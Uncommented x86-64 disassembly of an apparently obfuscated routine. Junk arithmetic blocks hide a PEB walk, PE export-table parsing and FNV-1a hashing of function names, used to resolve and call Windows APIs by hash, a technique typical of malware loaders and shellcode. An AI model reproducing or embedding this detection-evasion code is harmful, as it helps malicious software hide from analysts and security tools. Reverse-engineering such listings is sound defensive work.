add r8d, 0x8c515754
xor r8d, 0xa08f0bc4
rol r8d, 0x6e
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1404488d9
push rax
pushf
mov eax, 0xdb25d2a8
pushf
not eax
add eax, 0xb57f8858
xor eax, 0xe2b02c48
rol eax, 0x57
popf
pushf
not eax
add eax, 0xefc688b3
xor eax, 0xa6efac78
rol eax, 0x15
popf
pushf
not eax
add eax, 0xff76ec40
xor eax, 0xad5bf974
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xbfb8185f
xor eax, 0xbcf88380
rol eax, 0xb
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x15be746e
pushf
not eax
add eax, 0xaf6a864f
xor eax, 0xe17ccb6e
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xe00fd57f
xor eax, 0x993b61bb
rol eax, 0x85
popf
jmp 0x14044405f
nop
push rax
pushf
mov eax, 0xd74c82a3
pushf
not eax
add eax, 0xbc5d0741
xor eax, 0x85b96e24
rol eax, 0x82
popf
pushf
not eax
add eax, 0xb83f8ce4
xor eax, 0xf597e1f0
rol eax, 0x43
popf
jmp 0x14044405f
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1404489b2
push rax
pushf
mov eax, 0x9d123255
pushf
not eax
add eax, 0x8cbdd2e7
xor eax, 0x8625a86e
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xb7c0b103
xor eax, 0x90ca265d
rol eax, 0x45
popf
pushf
not eax
add eax, 0xfea1484f
xor eax, 0xfef6b493
rol eax, 0xde
popf
pushf
not eax
add eax, 0x8ea94c8c
xor eax, 0xbf243f71
rol eax, 0x40
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x73b80d63
pushf
not eax
add eax, 0xd9a31b36
xor eax, 0xa6045d1d
rol eax, 0x32
popf
pushf
not eax
add eax, 0xc1650e4f
xor eax, 0xecbab710
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xe5d581d9
xor eax, 0x9218bb49
rol eax, 0x37
popf
pushf
not eax
add eax, 0xb9790db0
xor eax, 0xd908e7ae
rol eax, 0xd4
popf
jmp 0x14044405f
cmp r8d, 0xabdd105
je 0x140448a6d
push rax
pushf
mov eax, 0xcd55b7e
pushf
not eax
add eax, 0xa11a863e
xor eax, 0xb635c968
rol eax, 9
popf
pushf
not eax
add eax, 0xa922b3e7
xor eax, 0xad168a63
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x9812a57b
xor eax, 0xa5a23fa9
rol eax, 7
popf
pushf
not eax
add eax, 0xbabaabb5
xor eax, 0xc138995e
rol eax, 0x57
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xacea0789
pushf
not eax
add eax, 0x866e8c82
xor eax, 0xb479c1f9
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xb9100978
xor eax, 0xadaf5f4f
rol eax, 0x13
popf
jmp 0x14044405f
test r9d, r9d
jne 0x140448ad8
push rax
pushf
mov eax, 0x7d05f685
pushf
not eax
add eax, 0x88273ff7
xor eax, 0xc2aa08bc
rol eax, 0x38
popf
pushf
not eax
add eax, 0xa07eb5ed
xor eax, 0xd2472aab
rol eax, 0xcf
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x13f4b3a8
pushf
not eax
add eax, 0x8f02ce11
xor eax, 0xb6c86421
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xbd7d55f7
xor eax, 0xa5b70f5e
rol eax, 0x21
popf
pushf
not eax
add eax, 0xacf90bbf
xor eax, 0xee76e8b8
rol eax, 0x6c
popf
jmp 0x14044405f
mov rax, qword [rax]
jmp 0x140448679
mov ecx, dword [rdi + 0x24]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rcx + rdx*4]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
mov rcx, r12
jmp 0x140448b95
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xa6260fd
pushf
not eax
add eax, 0xba80e3d6
xor eax, 0xbee783b6
rol eax, 0x67
popf
pushf
not eax
add eax, 0xcaf278d1
xor eax, 0xf479f213
rol eax, 0x28
popf
pushf
not eax
add eax, 0x955333d3
xor eax, 0xac28a80a
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xd7cef298
xor eax, 0xdb8a748a
rol eax, 0xda
popf
jmp 0x14044405f
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x140448c72
push rax
pushf
mov eax, 0xe0dbf160
pushf
not eax
add eax, 0xae176348
xor eax, 0xc58bd78e
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xd6b78aae
xor eax, 0xf94a494c
rol eax, 0x33
popf
pushf
not eax
add eax, 0xb4a7ceee
xor eax, 0xa632ac35
rol eax, 0x93
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x12d8893d
pushf
not eax
add eax, 0xd449c8e8
xor eax, 0xb604e08d
rol eax, 0x70
popf
pushf
not eax
add eax, 0xaaf4246b
xor eax, 0xc78337e6
rol eax, 0x84
popf
pushf
not eax
add eax, 0xff9c81cc
xor eax, 0xf49d3ec0
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xbec5da5a
xor eax, 0xd5a9e32c
rol eax, 0xee
popf
jmp 0x14044405f
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140448d2d
push rax
pushf
mov eax, 0x131fae69
pushf
not eax
add eax, 0xa663f385
xor eax, 0xb49cd743
rol eax, 0x29
popf
pushf
not eax
add eax, 0xf579c880
xor eax, 0xb0c82eed
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xef2ac325
xor eax, 0x84618ada
rol eax, 3
popf
pushf
not eax
add eax, 0xa7842c01
xor eax, 0xffcf748b
rol eax, 0xbd
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xe99d9c25
pushf
not eax
add eax, 0x9e3d6b9d
xor eax, 0xcccd8c28
rol eax, 0xd
popf
pushf
not eax
add eax, 0xe397fc64
xor eax, 0xbbec0d59
rol eax, 0xa
popf
jmp 0x14044405f
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x58a04672
pushf
not eax
add eax, 0xdee96f9f
xor eax, 0xc9602435
rol eax, 0x47
popf
pushf
not eax
add eax, 0xe1532f09
xor eax, 0xdca581dd
rol eax, 0x91
popf
pushf
not eax
add eax, 0xe7d0e0ec
xor eax, 0xa0580019
rol eax, 0xb3
popf
jmp 0x14044405f
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov r8d, 0x58b877ad
pushf
not r8d
add r8d, 0xf9032cb6
xor r8d, 0xdcb91869
rol r8d, 0x75
popf
pushf
not r8d
add r8d, 0xf3c0ffc7
xor r8d, 0xbc62efd8
rol r8d, 0xb1
popf
pushf
not r8d
add r8d, 0xf9eb5002
xor r8d, 0xa3c75085
rol r8d, 0x3e
popf
pushf
not r8d
add r8d, 0x91ee55d9
xor r8d, 0xb1c4e794
rol r8d, 0xd
popf
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140448e9b
push rax
pushf
mov eax, 0xca40a2ee
pushf
not eax
add eax, 0xf262daf0
xor eax, 0x847491b6
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xd2a9db0e
xor eax, 0xd1570721
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x8ae23f07
xor eax, 0xf3a67985
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xdfe47ac8
xor eax, 0x87a34a88
rol eax, 0x94
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xe84b47cf
pushf
not eax
add eax, 0xdb38b293
xor eax, 0xd869b31b
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xdccc48a8
xor eax, 0x83d74b9d
rol eax, 0x93
popf
pushf
not eax
add eax, 0xf003f357
xor eax, 0xd8dda039
rol eax, 0x21
popf
pushf
not eax
add eax, 0x8d40ed5b
xor eax, 0xdb099086
rol eax, 0xc4
popf
jmp 0x14044405f
nop
push rax
pushf
mov eax, 0x453cfb43
pushf
not eax
add eax, 0xfa3ceffd
xor eax, 0xfed3b748
rol eax, 0x73
popf
pushf
not eax
add eax, 0xcea6df62
xor eax, 0xaf1c8def
rol eax, 3
popf
jmp 0x14044405f
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140448f74
push rax
pushf
mov eax, 0xe593a321
pushf
not eax
add eax, 0x99e7fe65
xor eax, 0x8cea6834
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xa3aa0aa3
xor eax, 0x99ee6e4b
rol eax, 0x84
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x930ed8b1
pushf
not eax
add eax, 0xb036268f
xor eax, 0xc49a0393
rol eax, 0xa8
popf
pushf
not eax
add eax, 0x938707f1
xor eax, 0xd638b915
rol eax, 0x26
popf
jmp 0x14044405f
cmp r8d, 0x4db0464f
je 0x140448ff6
push rax
pushf
mov eax, 0x65bdd1e7
pushf
not eax
add eax, 0xd51ca55b
xor eax, 0x8e4fcd1c
rol eax, 0x72
popf
pushf
not eax
add eax, 0xbdf72308
xor eax, 0xd2606c14
rol eax, 0x45
popf
pushf
not eax
add eax, 0x982ed178
xor eax, 0xed30768d
rol eax, 0x44
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xb414bae1
pushf
not eax
add eax, 0xf98013a0
xor eax, 0xe5e4b5af
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x886e62da
xor eax, 0xd42a48a5
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xad92f056
xor eax, 0xf0f3f075
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xc6549b07
xor eax, 0xd86c2d39
rol eax, 0xca
popf
jmp 0x14044405f
test r9d, r9d
jne 0x14044909a
push rax
pushf
mov eax, 0x4a74ad93
pushf
not eax
add eax, 0xb69c3903
xor eax, 0x99531d1c
rol eax, 0xba
popf
pushf
not eax
add eax, 0xfe40f0fb
xor eax, 0x8bcfc285
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xfc151f93
xor eax, 0xd77f1ab6
rol eax, 0x53
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x305f6437
pushf
not eax
add eax, 0x8910a0d9
xor eax, 0xa77864b0
rol eax, 0x42
popf
pushf
not eax
add eax, 0xb63f200d
xor eax, 0xf7648c89
rol eax, 0x43
popf
pushf
not eax
add eax, 0xff5f4587
xor eax, 0xc5510889
rol eax, 0x47
popf
pushf
not eax
add eax, 0xc45f8c12
xor eax, 0xbdcdb572
rol eax, 0x8b
popf
jmp 0x14044405f
mov rax, qword [rax]
jmp 0x140448c09
mov edx, dword [rdi + 0x24]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
movzx r8d, word [rdx + r9*2]
mov edx, dword [rdi + 0x1c]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r9d, dword [rdx + r8*4]
push r10
not r10
sub r9, r10
pop r10
sub r9, 1
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call r9
mov rax, r13
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140319880
mov rbx, qword [rsp + 0x108]
add rsp, 0xb0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14012a5e0
int3
call fcn.14013d980
int3